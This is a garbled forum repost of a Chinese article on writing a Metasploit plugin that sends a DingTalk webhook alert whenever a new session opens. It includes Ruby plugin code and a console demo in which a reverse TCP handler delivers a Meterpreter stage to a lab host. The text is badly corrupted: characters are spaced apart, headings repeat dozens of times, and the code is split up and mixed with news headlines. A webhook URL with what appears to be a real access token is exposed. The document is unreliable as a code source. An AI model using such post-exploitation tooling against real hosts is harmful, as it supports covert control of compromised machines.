搜索

[7004] 2020-10-24_Metasploit插件之钉钉机器人通知主机上线

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-17
2020-10-24_Metasploit插件之钉钉机器人通知主机上线 M e t a s p l o i t 插 件 之 钉 钉 机 器 人 通 知 主 机 上 线 E 安 全   2 0 2 0 - 1 0 - 2 4 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 三 米 前 有 蕉 皮 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 当 有 新 的 主 机 上 线 时 ， 希 望 可 以 及 时 得 收 到 通 知 ， M e t a s p l o i t 官 方 本 来 就 有 一 个 邮 件 会 话 上 线 通 知 的 插 件 p l u g i n s / s e s s i o n _ n o t i f i e r . r b ， 但 是 这 需 要 发 件 服 务 器 ， 也 不 一 定 能 及 时 收 到 ， 所 以 就 写 了 一 个 钉 钉 机 器 人 通 知 。 实 现 这 个 需 求 需 要 写 一 个 插 件 ， 能 获 取 到 一 个 会 话 上 线 的 事 件 ， 按 照 钉 钉 的 开 发 文 档 发 送 一 个 请 求 。 N o . 1 N o . 1 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 插 件 编 写 l i b / m s f / c o r e / p l u g i n . r b ， 插 件 的 基 类 ， 全 部 插 件 都 要 实 现 基 类 的 接 口 ， 管 理 控 制 台 调 度 程 序 。 l i b / m s f / c o r e / p l u g i n _ m a n a g e r . r b ， 插 件 管 理 器 ， 实 现 了 l o a d 和 u n l o a d 方 法 插 件 可 以 通 过 添 加 新 特 性 、 新 的 用 户 界 面 命 令 或 任 何 其 他 任 意 方 法 来 更 改 框 架 的 行 为 。 官 方 有 一 个 例 子 p l u g i n s / s a m p l e . r b ， 里 面 C o n s o l e C o m m a n d D i s p a t c h e r 是 实 现 控 制 台 调 度 程 序 的 一 个 类 。 上 面 的 代 码 功 能 ： 添 加 一 个 s a m p l e 命 令 到 控 制 台 调 度 器 （ h e l p 命 令 可 以 看 见 ） ， c m d _ s a m p l e 为 这 个 命 令 的 动 作 。 如 果 你 的 插 件 需 要 控 制 台 操 作 设 置 就 需 要 使 用 到 插 件 基 类 里 面 的 a d d _ c o n s o l e _ d i s p a t c h e r 方 法 添 加 控 制 台 调 度 程 序 。 N o . 2 N o . 2 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 事 件 通 知 订 阅 因 为 我 们 只 需 要 会 话 上 线 的 事 件 ， 所 以 只 需 要 在 当 前 的 类 将 o n _ s e s s i o n _ o p e n 方 法 实 现 ， 其 他 会 话 事 件 可 以 在 l i b / m s f / c o r e / s e s s i o n . r b 文 件 中 找 到 。 实 现 了 o n _ s e s s i o n _ o p e n 方 法 还 不 行 ， 因 为 没 有 程 序 调 用 它 ， 所 以 还 要 将 它 加 入 s e s s i o n _ e v e n t _ s u b s c r i b e r s 会 话 事 件 的 订 阅 器 。 事 件 的 调 度 器 可 以 在 l i b / m s f / c o r e / e v e n t _ d i s p a t c h e r . r b 找 到 ， 还 没 添 加 事 件 订 阅 是 会 话 的 事 件 订 阅 器 只 有 两 个 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 c l a s s   C o n s o l e C o m m a n d D i s p a t c h e r         i n c l u d e   M s f : : U i : : C o n s o l e : : C o m m a n d D i s p a t c h e r         #         #   T h e   d i s p a t c h e r ' s   n a m e .         #         d e f   n a m e                 " S a m p l e "         e n d         #         #   R e t u r n s   t h e   h a s h   o f   c o m m a n d s   s u p p o r t e d   b y   t h i s   d i s p a t c h e r .         #         d e f   c o m m a n d s                 {                         " s a m p l e "   = >   " A   s a m p l e   c o m m a n d   a d d e d   b y   t h e   s a m p l e   p l u g i n "                 }         e n d         #         #   T h i s   m e t h o d   h a n d l e s   t h e   s a m p l e   c o m m a n d .         #         d e f   c m d _ s a m p l e ( * a r g s )                 p r i n t _ l i n e ( " Y o u   p a s s e d :   #   { a r g s . j o i n ( '   ' ) } " )         e n d e n d s e l f . f r a m e w o r k . e v e n t s . a d d _ s e s s i o n _ s u b s c r i b e r ( s e l f )
执 行 添 加 订 阅 器 的 代 码 后 ， 将 自 身 类 添 加 到 订 阅 器 列 表 中 ， 现 在 订 阅 器 长 度 为 3 ， 说 明 添 加 成 功 。 添 加 后 ， 即 将 当 前 类 添 加 到 会 话 事 件 订 阅 器 ， 当 有 会 话 事 件 发 生 时 会 到 s e s s i o n _ e v e n t _ s u b s c r i b e r s 这 个 列 表 中 调 用 下 面 的 方 法 。 妙 啊 ！ N o . 3 N o . 3 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 发 送 发 送 W e b h o o k 请 求 请 求 按 照 钉 钉 的 开 发 文 档 发 送 m a r k d o w n 格 式 的 消 息 ， 通 过 响 应 的 错 误 码 判 断 是 否 发 送 成 功 。 #   不 写 事 件 方 法 名 ， 当 方 法 名 找 不 到 是 自 动 调 用 下 面 的 函 数 处 理 全 部 事 件 ， 下 面 以 o n _ s e s s i o n _ o p e n 事 件 为 例 d e f   m e t h o d _ m i s s i n g ( n a m e ,   * a r g s )         e v e n t , t y p e , r e s t   =   n a m e . t o _ s . s p l i t ( " _ " ,   3 )     #   e v e n t   = >   o n ;   t y p e   = >   s e s s i o n ;   r e s t   = >   o p e n         s u b s c r i b e r s   =   " #   { t y p e } _ e v e n t _ s u b s c r i b e r s "     #   得 到 拼 接 会 话 订 阅 器 列 表 ： s e s s i o n _ e v e n t _ s u b s c r i b e r s         f o u n d   =   f a l s e         c a s e   e v e n t         w h e n   " o n "                 i f   r e s p o n d _ t o ? ( s u b s c r i b e r s ,   t r u e )                         f o u n d   =   t r u e                         s e l f . s e n d ( s u b s c r i b e r s ) . e a c h   d o   | s u b |                                 n e x t   i f   n o t   s u b . r e s p o n d _ t o ? ( n a m e ,   t r u e )     #   我 们 在 写 插 件 时 有 定 义 o n _ s e s s i o n _ o p e n 这 个 方 法 ， 当 然 不 会 跳 过                                 s u b . s e n d ( n a m e ,   * a r g s )     #   通 过 反 射 判 断 s e s s i o n _ e v e n t _ s u b s c r i b e r s 的 类 中 有 没 有 o n _ s e s s i o n _ o p e n 这 个 方 法 ， 用 就 调 用                         e n d                 e l s e                         ( g e n e r a l _ e v e n t _ s u b s c r i b e r s   +   c u s t o m _ e v e n t _ s u b s c r i b e r s ) . e a c h   d o   | s u b |                                 n e x t   i f   n o t   s u b . r e s p o n d _ t o ? ( n a m e ,   t r u e )                                 s u b . s e n d ( n a m e ,   * a r g s )                                 f o u n d   =   t r u e                         e n d                 e n d         w h e n   " a d d "                 i f   r e s p o n d _ t o ? ( s u b s c r i b e r s ,   t r u e )                         f o u n d   =   t r u e                         a d d _ e v e n t _ s u b s c r i b e r ( s e l f . s e n d ( s u b s c r i b e r s ) ,   * a r g s )                 e n d         w h e n   " r e m o v e "                 i f   r e s p o n d _ t o ? ( s u b s c r i b e r s ,   t r u e )                         f o u n d   =   t r u e                         r e m o v e _ e v e n t _ s u b s c r i b e r ( s e l f . s e n d ( s u b s c r i b e r s ) ,   * a r g s )                 e n d         e n d         r e t u r n   f o u n d e n d d e f   s e n d _ t e x t _ t o _ d i n g t a l k ( s e s s i o n )         #   h t t p s : / / d i n g - d o c . d i n g t a l k . c o m / d o c #   / s e r v e r a p i 2 / q f 2 n x q / 9 e 9 1 d 7 3 c         u r i _ p a r s e r   =   U R I . p a r s e ( d i n g t a l k _ w e b h o o k )         m a r k d o w n _ t e x t   =   " # #   Y o u   h a v e   a   n e w   #   { s e s s i o n . t y p e }   s e s s i o n ! n n "                   " * * p l a t f o r m * *   :   #   { s e s s i o n . p l a t f o r m } n n "                   " * * t u n n e l * *   :   #   { s e s s i o n . t u n n e l _ t o _ s } n n "                   " * * a r c h * *   :   #   { s e s s i o n . a r c h } n n "                   " * * i n f o * *   :   >   #   { s e s s i o n . i n f o   ?   s e s s i o n . i n f o . t o _ s   :   n i l } "         j s o n _ p o s t _ d a t a   =   J S O N . p r e t t y _ g e n e r a t e ( {                 m s g t y p e :   ' m a r k d o w n ' ,                 m a r k d o w n :   {   t i t l e :   ' S e s s i o n   N o t i f i e r ' ,   t e x t :   m a r k d o w n _ t e x t   }                 } )         h t t p   =   N e t : : H T T P . n e w ( u r i _ p a r s e r . h o s t ,   u r i _ p a r s e r . p o r t )         h t t p . u s e _ s s l   =   t r u e         r e q u e s t   =   N e t : : H T T P : : P o s t . n e w ( u r i _ p a r s e r . r e q u e s t _ u r i )         r e q u e s t . c o n t e n t _ t y p e   =   ' a p p l i c a t i o n / j s o n '
N o . 3 N o . 3 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 使 用 演 示 创 建 钉 钉 机 器 人 ， 设 置 关 键 词 ： s e s s i o n 参 考 ： h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 3 5 7 1 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 最 新 消 息 ！ 微 软 已 关 闭 了 T r i c k b o t 僵 尸 网 络 9 4 % 的 关 键 基 础 设 施 万 事 达 将 在 亚 洲 使 用 生 物 识 别 读 取 器 试 行 非 接 触 式 卡 史 上 最 贵 罚 单 ！ 英 国 航 空 公 司 泄 露 4 0 万 名 用 户 数 据   被 处 以 2 0 0 0 万 英 镑 的 罚 款 新 鲜 出 炉 ！ G a r t n e r 发 布 重 要 战 略 科 技 趋 势   网 络 安 全 网 格 备 受 关 注 英 美 指 控 俄 罗 斯 黑 客 计 划 攻 击 东 京 奥 运 会   目 标 包 括 赛 事 组 织 者 、 赞 助 商 和 后 勤 公         r e q u e s t . c o n t e n t _ t y p e   =   ' a p p l i c a t i o n / j s o n '         r e q u e s t . b o d y   =   j s o n _ p o s t _ d a t a         r e s   =   h t t p . r e q u e s t ( r e q u e s t )         b o d y   =   J S O N . p a r s e ( r e s . b o d y )         p r i n t _ s t a t u s ( ( b o d y [ ' e r r c o d e ' ]   = =   0 )   ?   ' S e s s i o n   n o t i f i e d   t o   D i n g T a l k . '   :   ' F a i l e d   t o   s e n d   n o t i f i c a t i o n . ' ) e n d m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   l o a d   s e s s i o n _ n o t i f i e r   [ * ]   S u c c e s s f u l l y   l o a d e d   p l u g i n :   S e s s i o n N o t i f i e r m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t _ s e s s i o n _ d i n g t a l k _ w e b h o o k   h t t p s : / / o a p i . d i n g t a l k . c o m / r o b o t / s e n d ? a c c e s s _ t o k e n = 5 a 4 3 9 c c 0 0 0 9 a b d 5 5 1 a 9 7 e 1 3 0 2 a 9 6 4 8 0 1 d a 2 f 3 f f e 5 b a 0 6 e 9 7 d 1 9 2 9 4 a 5 5 2 0 2 c a a 3 m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s t a r t _ s e s s i o n _ n o t i f i e r   [ * ]   D i n g T a l k   n o t i f i c a t i o n   s t a r t e d . m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   r u n [ * ]   S t a r t e d   r e v e r s e   T C P   h a n d l e r   o n   1 9 2 . 1 6 8 . 5 6 . 1 : 7 7 8 8   [ * ]   S e n d i n g   s t a g e   ( 1 7 5 1 7 4   b y t e s )   t o   1 9 2 . 1 6 8 . 5 6 . 1 0 5 [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 1 9 2 . 1 6 8 . 5 6 . 1 : 7 7 8 8   - >   1 9 2 . 1 6 8 . 5 6 . 1 0 5 : 1 0 7 8 )   a t   2 0 2 0 - 1 0 - 0 4   1 1 : 0 8 : 5 4   + 0 8 0 0 [ * ]   S e s s i o n   n o t i f i e d   t o   D i n g T a l k . m e t e r p r e t e r   >
司 ▼ 稿 件 合 作     1 5 5 5 8 1 9 2 9 5 9     小 E 微 信 号 ： E a n q u a n 0 9 1 4 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理